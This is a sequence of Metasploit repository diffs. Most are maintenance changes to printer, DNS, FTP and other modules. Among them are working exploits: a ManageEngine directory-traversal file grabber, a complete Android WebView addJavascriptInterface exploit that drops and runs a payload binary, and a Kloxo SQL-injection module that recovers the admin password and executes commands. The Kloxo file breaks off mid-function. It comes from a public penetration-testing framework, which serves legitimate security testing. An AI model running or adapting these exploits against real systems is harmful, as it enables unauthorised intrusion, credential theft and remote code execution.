||||
|
||||
vprint_status("#{peer} - Retrieving cookie")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, "")
|
||||
})
|
||||
|
||||
if res and res.code == 200
|
||||
session = res.get_cookies
|
||||
else
|
||||
vprint_error("#{peer} - Server returned #{res.code.to_s}")
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Logging in as user [ #{datastore['USER']} ]")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, "j_security_check"),
|
||||
'cookie' => session,
|
||||
'vars_post' =>
|
||||
{
|
||||
'j_username' => datastore['USER'],
|
||||
'j_password' => datastore['PASS'],
|
||||
'logonDomainName' => 'undefined',
|
||||
'sso_status' => 'false',
|
||||
'loginButton' => 'Login'
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 302
|
||||
vprint_status("#{peer} - Login succesful")
|
||||
else
|
||||
vprint_error("#{peer} - Login was not succesful!")
|
||||
return
|
||||
end
|
||||
|
||||
randomname = Rex::Text.rand_text_alphanumeric(10)
|
||||
vprint_status("#{peer} - Creating ticket with our requested file [ #{datastore['FILE']} ] as attachment")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, "WorkOrder.do"),
|
||||
'cookie' => session,
|
||||
'vars_post' =>
|
||||
{
|
||||
'reqTemplate' => '',
|
||||
'prodId' => '0',
|
||||
'priority' => '2',
|
||||
'reqID' => '2',
|
||||
'usertypename' => 'Requester',
|
||||
'reqName' => 'Guest',
|
||||
'category' => '0',
|
||||
'item' => '0',
|
||||
'subCategory' => '0',
|
||||
'title' => randomname,
|
||||
'description' => randomname,
|
||||
'MOD_IND' => 'WorkOrder',
|
||||
'FORMNAME' => 'WorkOrderForm',
|
||||
'attach' => "/../../../../../../../../../../../..#{datastore['FILE']}",
|
||||
'attPath' => '',
|
||||
'component' => 'Request',
|
||||
'attSize' => Rex::Text.rand_text_numeric(8),
|
||||
'attachments' => randomname,
|
||||
'autoCCList' => '',
|
||||
'addWO' => 'addWO'
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 200
|
||||
vprint_status("#{peer} - Ticket created")
|
||||
if (res.body =~ /FileDownload.jsp\?module=Request\&ID=(\d+)\&authKey=(.*)\" class=/)
|
||||
fileid = $1
|
||||
vprint_status("#{peer} - File ID is [ #{fileid} ]")
|
||||
fileauthkey = $2
|
||||
vprint_status("#{peer} - Auth Key is [ #{fileauthkey} ]")
|
||||
else
|
||||
vprint_error("#{peer} - File ID and AuthKey not found!")
|
||||
end
|
||||
else
|
||||
vprint_error("#{peer} - Ticket not created due to error!")
|
||||
return
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Requesting file [ #{uri}workorder/FileDownload.jsp?module=Request&ID=#{fileid}&authKey=#{fileauthkey} ]")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, "workorder", "FileDownload.jsp"),
|
||||
'vars_get' =>
|
||||
{
|
||||
'module' => 'Request',
|
||||
'ID' => fileid,
|
||||
'authKey' => fileauthkey
|
||||
}
|
||||
})
|
||||
|
||||
# If we don't get a 200 when we request our malicious payload, we suspect
|
||||
# we don't have a shell, either. Print the status code for debugging purposes.
|
||||
if res and res.code == 200
|
||||
data = res.body
|
||||
p = store_loot(
|
||||
'manageengine.supportcenterplus',
|
||||
'application/octet-stream',
|
||||
ip,
|
||||
data,
|
||||
datastore['FILE']
|
||||
)
|
||||
print_good("#{peer} - [ #{datastore['FILE']} ] loot stored as [ #{p} ]")
|
||||
else
|
||||
vprint_error("#{peer} - Server returned #{res.code.to_s}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -20,10 +20,11 @@ class Metasploit4 < Msf::Auxiliary
|
|||
Printer Job Language (PJL) protocol.
|
||||
},
|
||||
"Author" => [
|
||||
"wvu", # This implementation
|
||||
"wvu", # Rex::Proto::PJL and modules
|
||||
"sinn3r", # RSpec tests
|
||||
"MC", # Independent implementation
|
||||
"YGN" # Independent implementation
|
||||
"MC", # Independent mixin and modules
|
||||
"Myo Soe", # Independent modules
|
||||
"Matteo Cantoni <goony[at]nothink.org>" # Independent modules
|
||||
],
|
||||
"References" => [
|
||||
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
|
||||
|
|
|
@ -20,10 +20,11 @@ class Metasploit4 < Msf::Auxiliary
|
|||
Printer Job Language (PJL) protocol.
|
||||
},
|
||||
"Author" => [
|
||||
"wvu", # This implementation
|
||||
"wvu", # Rex::Proto::PJL and modules
|
||||
"sinn3r", # RSpec tests
|
||||
"MC", # Independent implementation
|
||||
"YGN" # Independent implementation
|
||||
"MC", # Independent mixin and modules
|
||||
"Myo Soe", # Independent modules
|
||||
"Matteo Cantoni" # Independent modules
|
||||
],
|
||||
"References" => [
|
||||
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
|
||||
|
|
|
@ -20,10 +20,11 @@ class Metasploit4 < Msf::Auxiliary
|
|||
Printer Job Language (PJL) protocol.
|
||||
},
|
||||
"Author" => [
|
||||
"wvu", # This implementation
|
||||
"wvu", # Rex::Proto::PJL and modules
|
||||
"sinn3r", # RSpec tests
|
||||
"MC", # Independent implementation
|
||||
"YGN" # Independent implementation
|
||||
"MC", # Independent mixin and modules
|
||||
"Myo Soe", # Independent modules
|
||||
"Matteo Cantoni <goony[at]nothink.org>" # Independent modules
|
||||
],
|
||||
"References" => [
|
||||
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
|
||||
|
|
|
@ -20,10 +20,11 @@ class Metasploit4 < Msf::Auxiliary
|
|||
Printer Job Language (PJL) protocol.
|
||||
},
|
||||
"Author" => [
|
||||
"wvu", # This implementation
|
||||
"wvu", # Rex::Proto::PJL and modules
|
||||
"sinn3r", # RSpec tests
|
||||
"MC", # Independent implementation
|
||||
"YGN" # Independent implementation
|
||||
"MC", # Independent mixin and modules
|
||||
"Myo Soe", # Independent modules
|
||||
"Matteo Cantoni <goony[at]nothink.org>" # Independent modules
|
||||
],
|
||||
"References" => [
|
||||
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
|
||||
|
|
|
@ -20,10 +20,11 @@ class Metasploit4 < Msf::Auxiliary
|
|||
a set of printers using the Printer Job Language (PJL) protocol.
|
||||
},
|
||||
"Author" => [
|
||||
"wvu", # This implementation
|
||||
"wvu", # Rex::Proto::PJL and modules
|
||||
"sinn3r", # RSpec tests
|
||||
"MC", # Independent implementation
|
||||
"YGN" # Independent implementation
|
||||
"MC", # Independent mixin and modules
|
||||
"Myo Soe", # Independent modules
|
||||
"Matteo Cantoni <goony[at]nothink.org>" # Independent modules
|
||||
],
|
||||
"References" => [
|
||||
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
|
||||
|
|
|
@ -20,10 +20,11 @@ class Metasploit4 < Msf::Auxiliary
|
|||
Printer Job Language (PJL) protocol.
|
||||
},
|
||||
"Author" => [
|
||||
"wvu", # This implementation
|
||||
"wvu", # Rex::Proto::PJL and modules
|
||||
"sinn3r", # RSpec tests
|
||||
"MC", # Independent implementation
|
||||
"YGN" # Independent implementation
|
||||
"MC", # Independent mixin and modules
|
||||
"Myo Soe", # Independent modules
|
||||
"Matteo Cantoni <goony[at]nothink.org>" # Independent modules
|
||||
],
|
||||
"References" => [
|
||||
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
|
||||
|
|
|
@ -4,6 +4,7 @@
|
|||
##
|
||||
|
||||
require "msf/core"
|
||||
require 'msf/core/module/deprecated'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
|
@ -11,6 +12,8 @@ class Metasploit4 < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Module::Deprecated
|
||||
deprecated Date.new(2014, 2, 26), "exploit/windows/smb/ms08_067_netapi"
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
|
|
@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
|
||||
def run_host(ip)
|
||||
return unless check
|
||||
return unless is_vmware?
|
||||
each_user_pass { |user, pass|
|
||||
result = vim_do_login(user, pass)
|
||||
case result
|
||||
|
@ -62,7 +62,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
|
||||
# Mostly taken from the Apache Tomcat service validator
|
||||
def check
|
||||
def is_vmware?
|
||||
soap_data =
|
||||
%Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<env:Body>
|
||||
|
|
|
@ -58,7 +58,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def auxiliary_commands
|
||||
return {
|
||||
"check" => "Determine if the specified DNS server (RHOST) is vulnerable",
|
||||
"racer" => "Determine the size of the window for the target server"
|
||||
}
|
||||
end
|
||||
|
@ -75,14 +74,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
calculate_race(targ, dom)
|
||||
end
|
||||
|
||||
def cmd_check(*args)
|
||||
targ = args[0] || rhost()
|
||||
if !(targ and targ.length > 0)
|
||||
print_status("usage: check [dns-server]")
|
||||
return
|
||||
end
|
||||
def check
|
||||
targ = rhost
|
||||
|
||||
print_status("Using the Metasploit service to verify exploitability...")
|
||||
srv_sock = Rex::Socket.create_udp(
|
||||
'PeerHost' => targ,
|
||||
'PeerPort' => 53
|
||||
|
@ -111,7 +105,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
|
||||
t_addr, t_port = $1.split(':')
|
||||
|
||||
print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
|
||||
vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
|
||||
t_port = t_port.to_i
|
||||
if(lport and lport != t_port)
|
||||
random = true
|
||||
|
@ -132,24 +126,29 @@ class Metasploit3 < Msf::Auxiliary
|
|||
srv_sock.close
|
||||
|
||||
if(ports.keys.length == 0)
|
||||
print_error("ERROR: This server is not replying to recursive requests")
|
||||
return
|
||||
vprint_error("ERROR: This server is not replying to recursive requests")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if(reps < 30)
|
||||
print_warning("WARNING: This server did not reply to all of our requests")
|
||||
vprint_warning("WARNING: This server did not reply to all of our requests")
|
||||
end
|
||||
|
||||
if(random)
|
||||
ports_u = ports.keys.length
|
||||
ports_r = ((ports.keys.length/30.0)*100).to_i
|
||||
print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
|
||||
vprint_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
|
||||
if(ports_r != 100)
|
||||
print_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
|
||||
vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
|
||||
# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
else
|
||||
print_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
|
||||
vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def run
|
||||
|
|
|
@ -56,8 +56,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def auxiliary_commands
|
||||
return {
|
||||
"check" => "Determine if the specified DNS server (RHOST) is vulnerable",
|
||||
"racer" => "Determine the size of the window for the target server",
|
||||
"racer" => "Determine the size of the window for the target server"
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -73,14 +72,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
calculate_race(targ, dom)
|
||||
end
|
||||
|
||||
def cmd_check(*args)
|
||||
targ = args[0] || rhost()
|
||||
if !(targ and targ.length > 0)
|
||||
print_status("usage: check [dns-server]")
|
||||
return
|
||||
end
|
||||
def check
|
||||
targ = rhost
|
||||
|
||||
print_status("Using the Metasploit service to verify exploitability...")
|
||||
srv_sock = Rex::Socket.create_udp(
|
||||
'PeerHost' => targ,
|
||||
'PeerPort' => 53
|
||||
|
@ -109,7 +103,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
|
||||
t_addr, t_port = $1.split(':')
|
||||
|
||||
print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
|
||||
vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
|
||||
t_port = t_port.to_i
|
||||
if(lport and lport != t_port)
|
||||
random = true
|
||||
|
@ -130,12 +124,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
srv_sock.close
|
||||
|
||||
if(ports.keys.length == 0)
|
||||
print_error("ERROR: This server is not replying to recursive requests")
|
||||
return
|
||||
vprint_error("ERROR: This server is not replying to recursive requests")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if(reps < 30)
|
||||
print_warning("WARNING: This server did not reply to all of our requests")
|
||||
vprint_warning("WARNING: This server did not reply to all of our requests")
|
||||
end
|
||||
|
||||
if(random)
|
||||
|
@ -143,11 +137,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
ports_r = ((ports.keys.length/30.0)*100).to_i
|
||||
print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
|
||||
if(ports_r != 100)
|
||||
print_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
|
||||
vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
|
||||
# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
else
|
||||
print_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
|
||||
vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def run
|
||||
|
|
|
@ -20,7 +20,8 @@ class Metasploit3 < Msf::Encoder
|
|||
tricks to avoid commonly restricted characters.
|
||||
},
|
||||
'Author' => 'hdm',
|
||||
'Arch' => ARCH_CMD)
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'unix')
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -21,7 +21,8 @@ class Metasploit3 < Msf::Encoder
|
|||
to avoid spaces without being overly fancy.
|
||||
},
|
||||
'Author' => 'egypt',
|
||||
'Arch' => ARCH_CMD)
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'unix')
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -30,6 +30,7 @@ class Metasploit3 < Msf::Encoder
|
|||
},
|
||||
'Author' => 'jduck',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'unix',
|
||||
'EncoderType' => Msf::Encoder::Type::PrintfPHPMagicQuotes)
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,121 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
|
||||
autopwn_info({
|
||||
:os_flavor => "Android",
|
||||
:arch => ARCH_ARMLE,
|
||||
:javascript => true,
|
||||
:rank => ExcellentRanking,
|
||||
:vuln_test => %Q|
|
||||
for (i in top) {
|
||||
try {
|
||||
top[i].getClass().forName('java.lang.Runtime');
|
||||
is_vuln = true; break;
|
||||
} catch(e) {}
|
||||
}
|
||||
|
|
||||
})
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a privilege escalation issue in Android < 4.2's WebView component
|
||||
that arises when untrusted Javascript code is executed by a WebView that has one or more
|
||||
Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
|
||||
APIs exposed by the Interface and execute arbitrary commands.
|
||||
|
||||
Some distributions of the Android Browser app have an addJavascriptInterface
|
||||
call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
|
||||
4.1.2 release of Android is known to be vulnerable.
|
||||
|
||||
A secondary attack vector involves the WebViews embedded inside a large number
|
||||
of Android applications. Ad integrations are perhaps the worst offender here.
|
||||
If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
|
||||
into the page displayed in the WebView, then you can inject the html/js served
|
||||
by this module and get a shell.
|
||||
|
||||
Note: Adding a .js to the URL will return plain javascript (no HTML markup).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'jduck', # original msf module
|
||||
'joev' # static server
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-'+
|
||||
'addjavascriptinterface-code-execution-vulnerability/'],
|
||||
['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
|
||||
['URL', 'http://50.56.33.56/blog/?p=314'],
|
||||
['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-'+
|
||||
'addjavascriptinterface-remote-code-execution/']
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'DefaultOptions' => { 'PrependFork' => true },
|
||||
'Targets' => [ [ 'Automatic', {} ] ],
|
||||
'DisclosureDate' => 'Dec 21 2012',
|
||||
'DefaultTarget' => 0,
|
||||
'BrowserRequirements' => {
|
||||
:source => 'script',
|
||||
:os_flavor => "Android",
|
||||
:arch => ARCH_ARMLE
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
def on_request_uri(cli, req)
|
||||
if req.uri.end_with?('js')
|
||||
print_status("Serving javascript")
|
||||
send_response(cli, js, 'Content-type' => 'text/javascript')
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, req, browser)
|
||||
print_status("Serving exploit HTML")
|
||||
send_response_html(cli, html)
|
||||
end
|
||||
|
||||
def js
|
||||
%Q|
|
||||
function exec(obj) {
|
||||
// ensure that the object contains a native interface
|
||||
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
|
||||
|
||||
// get the runtime so we can exec
|
||||
var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
|
||||
var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}";
|
||||
|
||||
// get the process name, which will give us our data path
|
||||
var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
|
||||
var ch, path = '/data/data/';
|
||||
while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
|
||||
path += '/#{Rex::Text.rand_text_alpha(8)}';
|
||||
|
||||
// build the binary, chmod it, and execute it
|
||||
m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor();
|
||||
m.invoke(null, null).exec(['chmod', '700', path]).waitFor();
|
||||
m.invoke(null, null).exec([path]);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
for (i in top) { if (exec(top[i]) === true) break; }
|
||||
|
|
||||
end
|
||||
|
||||
def html
|
||||
"<!doctype html><html><body><script>#{js}</script></body></html>"
|
||||
end
|
||||
end
|
|
@ -106,15 +106,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if rel.length > 0
|
||||
if rel[0,2] == 'rc'
|
||||
if rel[2,rel.length].to_i >= 3
|
||||
status = CheckCode::Vulnerable
|
||||
status = CheckCode::Appears
|
||||
end
|
||||
else
|
||||
status = CheckCode::Vulnerable
|
||||
status = CheckCode::Appears
|
||||
end
|
||||
end
|
||||
when '3'
|
||||
# 1.3.3+ defaults to vulnerable (until >= 1.3.3c)
|
||||
status = CheckCode::Vulnerable
|
||||
status = CheckCode::Appears
|
||||
if rel.length > 0
|
||||
if rel[0,2] != 'rc' and rel[0,1] > 'b'
|
||||
status = CheckCode::Safe
|
||||
|
|
|
@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
disconnect
|
||||
|
||||
if (resp =~ /IRIX/)
|
||||
print_status("Response: #{resp.strip}")
|
||||
vprint_status("Response: #{resp.strip}")
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
|
|
|
@ -119,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
ret = connect
|
||||
|
||||
# We just want the banner to check against our targets..
|
||||
print_status("FTP Banner: #{banner.strip}")
|
||||
vprint_status("FTP Banner: #{banner.strip}")
|
||||
|
||||
status = CheckCode::Safe
|
||||
|
||||
|
@ -129,16 +129,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
relv = rel.slice!(0,1)
|
||||
case relv
|
||||
when '2'
|
||||
status = CheckCode::Vulnerable
|
||||
status = CheckCode::Appears
|
||||
|
||||
when '3'
|
||||
# 1.3.x before 1.3.1 is vulnerable
|
||||
status = CheckCode::Vulnerable
|
||||
status = CheckCode::Appears
|
||||
if rel.length > 0
|
||||
if rel.to_i > 0
|
||||
status = CheckCode::Safe
|
||||
else
|
||||
status = CheckCode::Vulnerable
|
||||
status = CheckCode::Appears
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -274,7 +274,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
banner = sock.get_once || ''
|
||||
|
||||
# We just want the banner to check against our targets..
|
||||
print_status("FTP Banner: #{banner.strip}")
|
||||
vprint_status("FTP Banner: #{banner.strip}")
|
||||
|
||||
status = CheckCode::Safe
|
||||
if banner =~ /ProFTPD (1\.3\.[23][^ ])/i
|
||||
|
@ -286,15 +286,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if rel.length > 0
|
||||
if rel[0,2] == 'rc'
|
||||
if rel[2,rel.length].to_i >= 3
|
||||
status = CheckCode::Vulnerable
|
||||
status = CheckCode::Appears
|
||||
end
|
||||
else
|
||||
status = CheckCode::Vulnerable
|
||||
status = CheckCode::Appears
|
||||
end
|
||||
end
|
||||
when '3'
|
||||
# 1.3.3+ defaults to vulnerable (until >= 1.3.3c)
|
||||
status = CheckCode::Vulnerable
|
||||
status = CheckCode::Appears
|
||||
if rel.length > 0
|
||||
if rel[0,2] != 'rc' and rel[0,1] > 'b'
|
||||
status = CheckCode::Safe
|
||||
|
|
|
@ -92,23 +92,23 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
vers = ut_version
|
||||
|
||||
if (not vers)
|
||||
print_status("Could not detect Unreal Tournament Server")
|
||||
return
|
||||
vprint_status("Could not detect Unreal Tournament Server")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
print_status("Detected Unreal Tournament Server Version: #{vers}")
|
||||
if (vers =~ /^(3120|3186|3204)$/)
|
||||
print_status("This system appears to be exploitable")
|
||||
vprint_status("This system appears to be exploitable")
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
|
||||
if (vers =~ /^(2...)$/)
|
||||
print_status("This system appears to be running UT2003")
|
||||
vprint_status("This system appears to be running UT2003")
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
print_status("This system appears to be patched")
|
||||
vprint_status("This system appears to be patched")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
|
|
@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
# Check version
|
||||
print_status("#{peer} - Trying to detect Astium")
|
||||
vprint_status("#{peer} - Trying to detect Astium")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
|
|
|
@ -81,7 +81,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def check
|
||||
res = send_request_cgi({ 'uri' => '/comm.asp' })
|
||||
if res and res.code == 200 and res.body =~ /var modelname="DIR-605L"/ and res.headers["Server"] and res.headers["Server"] =~ /Boa\/0\.94\.14rc21/
|
||||
return Exploit::CheckCode::Detected
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
|
|
@ -71,9 +71,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => "/cpqlogin.htm"
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
|
||||
if res.nil?
|
||||
vprint_error("Connection timed out")
|
||||
return Exploit::CheckCode::Unknown
|
||||
elsif res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
|
||||
version = $1
|
||||
return Exploit::CheckCode::Vulnerable if version <= "7.1.1.1"
|
||||
return Exploit::CheckCode::Appears if version <= "7.1.1.1"
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
|
|
|
@ -0,0 +1,278 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
Rank = ManualRanking
|
||||
PASSWORD_PREFIX = '__lxen:'
|
||||
BASE64_RANGE = Rex::Text::AlphaNumeric + '+/='
|
||||
|
||||
attr_accessor :password
|
||||
attr_accessor :session
|
||||
attr_accessor :server
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Kloxo SQL Injection and Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, as
|
||||
exploited in the wild on January 2014. The SQL injection issue can be abused in order to
|
||||
retrieve the Kloxo admin cleartext password from the database. With admin access to the
|
||||
web control panel, remote PHP code execution can be achieved by abusing the Command Center
|
||||
function. The module tries to find the first server in the tree view, unless the server
|
||||
information is provided, in which case it executes the payload there.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Discovery, exploit in the wild
|
||||
'juan vazquez' # Metasploit Module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://vpsboard.com/topic/3384-kloxo-installations-compromised/'], # kloxo exploited in the wild
|
||||
['URL', 'http://www.webhostingtalk.com/showthread.php?p=8996984'], # kloxo exploited in the wild
|
||||
['URL', 'http://forum.lxcenter.org/index.php?t=msg&th=19215&goto=102646'] # patch discussion
|
||||
],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'unix',
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 262144, # 256k
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl python gawk bash-tcp netcat'
|
||||
}
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['Kloxo / CentOS', {}]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Jan 28 2014',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(7778),
|
||||
OptString.new('TARGETURI', [true, 'The URI of the Kloxo Application', '/'])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('SERVER_CLASS', [false, 'The server class']),
|
||||
OptString.new('SERVER_NAME', [false, 'The server name'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
return Exploit::CheckCode::Safe unless webcommand_exists?
|
||||
return Exploit::CheckCode::Safe if exploit_sqli(1, bad_char(0))
|
||||
return Exploit::CheckCode::Safe unless pefix_found?
|
||||
|
||||
Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
def exploit
|
||||
fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited") unless check == Exploit::CheckCode::Vulnerable
|
||||
|
||||
print_status("#{peer} - Recovering the admin password with SQLi...")
|
||||
loot = base64_password
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to exploit the SQLi...") if loot.nil?
|
||||
@password = Rex::Text.decode_base64(loot)
|
||||
print_good("#{peer} - Password recovered: #{@password}")
|
||||
|
||||
print_status("#{peer} - Logging into the Control Panel...")
|
||||
@session = send_login
|
||||
fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{@password} failed...") if @session.nil?
|
||||
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:user => 'admin',
|
||||
:pass => @password,
|
||||
:type => 'password',
|
||||
:sname => (ssl ? 'https' : 'http')
|
||||
)
|
||||
|
||||
print_status("#{peer} - Retrieving the server name...")
|
||||
@server = server_info
|
||||
fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{Rex::Text.decode_base64(base64_password)} failed...") if @server.nil?
|
||||
|
||||
print_status("#{peer} - Exploiting...")
|
||||
send_command(payload.encoded)
|
||||
end
|
||||
|
||||
def send_login
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
